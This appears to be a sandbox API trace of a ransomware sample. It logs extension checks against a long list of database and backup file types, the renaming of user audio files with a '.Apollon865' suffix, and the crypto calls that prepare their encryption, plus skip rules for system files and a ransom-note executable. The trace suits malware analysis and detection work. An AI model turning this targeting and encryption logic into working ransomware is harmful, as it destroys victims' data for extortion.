	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.011] lstrlenW (lpString="fmp") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.011] lstrlenW (lpString="fmp12") returned 5
	[0088.011] lstrcmpiW (lpString1="a.mp3", lpString2="fmp12") returned -1
	[0088.011] lstrlenW (lpString="fmpsl") returned 5
	[0088.011] lstrcmpiW (lpString1="a.mp3", lpString2="fmpsl") returned -1
	[0088.011] lstrlenW (lpString="fol") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.011] lstrlenW (lpString="fp3") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.011] lstrlenW (lpString="fp4") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.011] lstrlenW (lpString="fp5") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.011] lstrlenW (lpString="fp7") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.011] lstrlenW (lpString="fpt") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.011] lstrlenW (lpString="frm") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.011] lstrlenW (lpString="gdb") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.011] lstrlenW (lpString="gdb") returned 3
	[0088.011] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.011] lstrlenW (lpString="grdb") returned 4
	[0088.011] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.012] lstrlenW (lpString="gwi") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.012] lstrlenW (lpString="hdb") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.012] lstrlenW (lpString="his") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0088.012] lstrlenW (lpString="ib") returned 2
	[0088.012] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.012] lstrlenW (lpString="idb") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.012] lstrlenW (lpString="ihx") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.012] lstrlenW (lpString="itdb") returned 4
	[0088.012] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.012] lstrlenW (lpString="itw") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.012] lstrlenW (lpString="jet") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.012] lstrlenW (lpString="jtx") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.012] lstrlenW (lpString="kdb") returned 3
	[0088.012] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.012] lstrlenW (lpString="kexi") returned 4
	[0088.012] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.012] lstrlenW (lpString="kexic") returned 5
	[0088.012] lstrcmpiW (lpString1="a.mp3", lpString2="kexic") returned -1
	[0088.012] lstrlenW (lpString="kexis") returned 5
	[0088.012] lstrcmpiW (lpString1="a.mp3", lpString2="kexis") returned -1
	[0088.013] lstrlenW (lpString="lgc") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.013] lstrlenW (lpString="lwx") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.013] lstrlenW (lpString="maf") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.013] lstrlenW (lpString="maq") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.013] lstrlenW (lpString="mar") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.013] lstrlenW (lpString="marshal") returned 7
	[0088.013] lstrcmpiW (lpString1="bSa.mp3", lpString2="marshal") returned -1
	[0088.013] lstrlenW (lpString="mas") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.013] lstrlenW (lpString="mav") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.013] lstrlenW (lpString="maw") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.013] lstrlenW (lpString="mdbhtml") returned 7
	[0088.013] lstrcmpiW (lpString1="bSa.mp3", lpString2="mdbhtml") returned -1
	[0088.013] lstrlenW (lpString="mdn") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.013] lstrlenW (lpString="mdt") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.013] lstrlenW (lpString="mfd") returned 3
	[0088.013] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.013] lstrlenW (lpString="mpd") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.014] lstrlenW (lpString="mrg") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.014] lstrlenW (lpString="mud") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.014] lstrlenW (lpString="mwb") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.014] lstrlenW (lpString="myd") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.014] lstrlenW (lpString="ndf") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.014] lstrlenW (lpString="nnt") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.014] lstrlenW (lpString="nrmlib") returned 6
	[0088.014] lstrcmpiW (lpString1="Sa.mp3", lpString2="nrmlib") returned 1
	[0088.014] lstrlenW (lpString="ns2") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.014] lstrlenW (lpString="ns3") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.014] lstrlenW (lpString="ns4") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.014] lstrlenW (lpString="nsf") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.014] lstrlenW (lpString="nv") returned 2
	[0088.014] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.014] lstrlenW (lpString="nv2") returned 3
	[0088.014] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.015] lstrlenW (lpString="nwdb") returned 4
	[0088.015] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.015] lstrlenW (lpString="nyf") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.015] lstrlenW (lpString="odb") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.015] lstrlenW (lpString="odb") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.015] lstrlenW (lpString="oqy") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.015] lstrlenW (lpString="ora") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.015] lstrlenW (lpString="orx") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.015] lstrlenW (lpString="owc") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.015] lstrlenW (lpString="p96") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.015] lstrlenW (lpString="p97") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.015] lstrlenW (lpString="pan") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.015] lstrlenW (lpString="pdb") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.015] lstrlenW (lpString="pdm") returned 3
	[0088.015] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.015] lstrlenW (lpString="pnz") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.016] lstrlenW (lpString="qry") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.016] lstrlenW (lpString="qvd") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.016] lstrlenW (lpString="rbf") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.016] lstrlenW (lpString="rctd") returned 4
	[0088.016] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.016] lstrlenW (lpString="rod") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.016] lstrlenW (lpString="rodx") returned 4
	[0088.016] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.016] lstrlenW (lpString="rpd") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.016] lstrlenW (lpString="rsd") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.016] lstrlenW (lpString="sas7bdat") returned 8
	[0088.016] lstrcmpiW (lpString1="JbSa.mp3", lpString2="sas7bdat") returned -1
	[0088.016] lstrlenW (lpString="sbf") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.016] lstrlenW (lpString="scx") returned 3
	[0088.016] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.016] lstrlenW (lpString="sdb") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.017] lstrlenW (lpString="sdc") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.017] lstrlenW (lpString="sdf") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.017] lstrlenW (lpString="sis") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.017] lstrlenW (lpString="spq") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.017] lstrlenW (lpString="te") returned 2
	[0088.017] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.017] lstrlenW (lpString="teacher") returned 7
	[0088.017] lstrcmpiW (lpString1="bSa.mp3", lpString2="teacher") returned -1
	[0088.017] lstrlenW (lpString="tmd") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.017] lstrlenW (lpString="tps") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.017] lstrlenW (lpString="trc") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.017] lstrlenW (lpString="trc") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.017] lstrlenW (lpString="trm") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.017] lstrlenW (lpString="udb") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.017] lstrlenW (lpString="udl") returned 3
	[0088.017] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.018] lstrlenW (lpString="usr") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.018] lstrlenW (lpString="v12") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.018] lstrlenW (lpString="vis") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.018] lstrlenW (lpString="vpd") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.018] lstrlenW (lpString="vvv") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.018] lstrlenW (lpString="wdb") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.018] lstrlenW (lpString="wmdb") returned 4
	[0088.018] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.018] lstrlenW (lpString="wrk") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.018] lstrlenW (lpString="xdb") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.018] lstrlenW (lpString="xld") returned 3
	[0088.018] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.018] lstrlenW (lpString="xmlff") returned 5
	[0088.018] lstrcmpiW (lpString1="a.mp3", lpString2="xmlff") returned -1
	[0088.018] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\t5Zkw5T3PPXfXt8JbSa.mp3.Apollon865") returned 95
	[0088.018] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\t5Zkw5T3PPXfXt8JbSa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\t5zkw5t3ppxfxt8jbsa.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\t5Zkw5T3PPXfXt8JbSa.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\t5zkw5t3ppxfxt8jbsa.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.021] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\t5Zkw5T3PPXfXt8JbSa.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\wyovgq\\fwmdzf4\\t5zkw5t3ppxfxt8jbsa.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.021] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=40916) returned 1
	[0088.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.021] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.021] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.022] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.022] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.023] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa2e0, lpName=0x0) returned 0x15c
	[0088.023] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa2e0) returned 0x100000
	[0088.025] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.026] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.026] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.026] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0088.026] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0088.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.027] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.027] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.028] CloseHandle (hObject=0x15c) returned 1
	[0088.028] CloseHandle (hObject=0x9c) returned 1
	[0088.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.029] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.030] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460038d0, ftCreationTime.dwHighDateTime=0x1d4cda3, ftLastAccessTime.dwLowDateTime=0xced04ec0, ftLastAccessTime.dwHighDateTime=0x1d4d203, ftLastWriteTime.dwLowDateTime=0xced04ec0, ftLastWriteTime.dwHighDateTime=0x1d4d203, nFileSizeHigh=0x0, nFileSizeLow=0x24ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Uv6EbSgm1I.wav", cAlternateFileName="UV6EBS~1.WAV")) returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2=".") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="..") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="windows") returned -1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="bootmgr") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="temp") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="pagefile.sys") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="boot") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="ids.txt") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="ntuser.dat") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="perflogs") returned 1
	[0088.030] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2="MSBuild") returned 1
	[0088.030] lstrlenW (lpString="Uv6EbSgm1I.wav") returned 14
	[0088.030] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\WYOVGq\\fWMdzf4\\t5Zkw5T3PPXfXt8JbSa.mp3") returned 84
	[0088.030] lstrcpyW (in: lpString1=0x119e682, lpString2="Uv6EbSgm1I.wav" | out: lpString1="Uv6EbSgm1I.wav") returned="Uv6EbSgm1I.wav"
	[0088.030] lstrlenW (lpString="Uv6EbSgm1I.wav") returned 14
	[0088.030] lstrlenW (lpString="Apollon865") returned 10
	[0088.031] lstrcmpiW (lpString1="bSgm1I.wav", lpString2="Apollon865") returned 1
	[0088.031] lstrlenW (lpString=".dll") returned 4
	[0088.031] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2=".dll") returned 1
	[0088.031] lstrlenW (lpString=".lnk") returned 4
	[0088.031] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2=".lnk") returned 1
	[0088.031] lstrlenW (lpString=".ini") returned 4
	[0088.031] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2=".ini") returned 1
	[0088.031] lstrlenW (lpString=".sys") returned 4
	[0088.031] lstrcmpiW (lpString1="Uv6EbSgm1I.wav", lpString2=".sys") returned 1
	[0088.031] lstrlenW (lpString="Uv6EbSgm1I.wav") returned 14
	[0088.031] lstrlenW (lpString="bak") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.031] lstrlenW (lpString="ba_") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.031] lstrlenW (lpString="dbb") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.031] lstrlenW (lpString="vmdk") returned 4
	[0088.031] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.031] lstrlenW (lpString="rar") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.031] lstrlenW (lpString="zip") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.031] lstrlenW (lpString="tgz") returned 3
	[0088.031] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.031] lstrlenW (lpString="vbox") returned 4
	[0088.031] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.032] lstrlenW (lpString="vdi") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.032] lstrlenW (lpString="vhd") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.032] lstrlenW (lpString="vhdx") returned 4
	[0088.032] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.032] lstrlenW (lpString="avhd") returned 4
	[0088.032] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.032] lstrlenW (lpString="db") returned 2
	[0088.032] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.032] lstrlenW (lpString="db2") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.032] lstrlenW (lpString="db3") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.032] lstrlenW (lpString="dbf") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.032] lstrlenW (lpString="mdf") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.032] lstrlenW (lpString="mdb") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.032] lstrlenW (lpString="sql") returned 3
	[0088.032] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.032] lstrlenW (lpString="sqlite") returned 6
	[0088.032] lstrcmpiW (lpString1="1I.wav", lpString2="sqlite") returned -1
	[0088.032] lstrlenW (lpString="sqlite3") returned 7
	[0088.032] lstrcmpiW (lpString1="m1I.wav", lpString2="sqlite3") returned -1
	[0088.033] lstrlenW (lpString="sqlitedb") returned 8
	[0088.033] lstrcmpiW (lpString1="gm1I.wav", lpString2="sqlitedb") returned -1
	[0088.033] lstrlenW (lpString="xml") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.033] lstrlenW (lpString="$er") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.033] lstrlenW (lpString="4dd") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.033] lstrlenW (lpString="4dl") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.033] lstrlenW (lpString="^^^") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.033] lstrlenW (lpString="abs") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.033] lstrlenW (lpString="abx") returned 3
	[0088.033] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.033] lstrlenW (lpString="accdb") returned 5
	[0088.033] lstrcmpiW (lpString1="I.wav", lpString2="accdb") returned 1
	[0088.033] lstrlenW (lpString="accdc") returned 5
	[0088.033] lstrcmpiW (lpString1="I.wav", lpString2="accdc") returned 1
	[0088.033] lstrlenW (lpString="accde") returned 5
	[0088.033] lstrcmpiW (lpString1="I.wav", lpString2="accde") returned 1
	[0088.033] lstrlenW (lpString="accdr") returned 5
	[0088.033] lstrcmpiW (lpString1="I.wav", lpString2="accdr") returned 1
	[0088.033] lstrlenW (lpString="accdt") returned 5
	[0088.033] lstrcmpiW (lpString1="I.wav", lpString2="accdt") returned 1
	[0088.033] lstrlenW (lpString="accdw") returned 5
	[0088.034] lstrcmpiW (lpString1="I.wav", lpString2="accdw") returned 1
	[0088.034] lstrlenW (lpString="accft") returned 5
	[0088.034] lstrcmpiW (lpString1="I.wav", lpString2="accft") returned 1
	[0088.034] lstrlenW (lpString="adb") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.034] lstrlenW (lpString="adb") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.034] lstrlenW (lpString="ade") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.034] lstrlenW (lpString="adf") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.034] lstrlenW (lpString="adn") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.034] lstrlenW (lpString="adp") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.034] lstrlenW (lpString="alf") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.034] lstrlenW (lpString="ask") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.034] lstrlenW (lpString="btr") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.034] lstrlenW (lpString="cat") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.034] lstrlenW (lpString="cdb") returned 3
	[0088.034] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.034] lstrlenW (lpString="ckp") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.035] lstrlenW (lpString="cma") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.035] lstrlenW (lpString="cpd") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.035] lstrlenW (lpString="dacpac") returned 6
	[0088.035] lstrcmpiW (lpString1="1I.wav", lpString2="dacpac") returned -1
	[0088.035] lstrlenW (lpString="dad") returned 3
	[0088.035] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.035] lstrlenW (lpString="dadiagrams") returned 10
	[0088.035] lstrcmpiW (lpString1="bSgm1I.wav", lpString2="dadiagrams") returned -1
	[0088.035] lstrlenW (lpString="daschema") returned 8
	[0088.035] lstrcmpiW (lpString1="gm1I.wav", lpString2="daschema") returned 1
	[0088.035] lstrlenW (lpString="db-journal") returned 10
	[0088.035] lstrcmpiW (lpString1="bSgm1I.wav", lpString2="db-journal") returned -1
	[0088.035] lstrlenW (lpString="db-shm") returned 6
	[0088.035] lstrcmpiW (lpString1="1I.wav", lpString2="db-shm") returned -1
	[0088.035] lstrlenW (lpString="db-wal") returned 6
	[0088.035] lstrcmpiW (lpString1="1I.wav", lpString2="db-wal") returned -1
	[0088.035] lstrlenW (lpString="dbc") returned 3
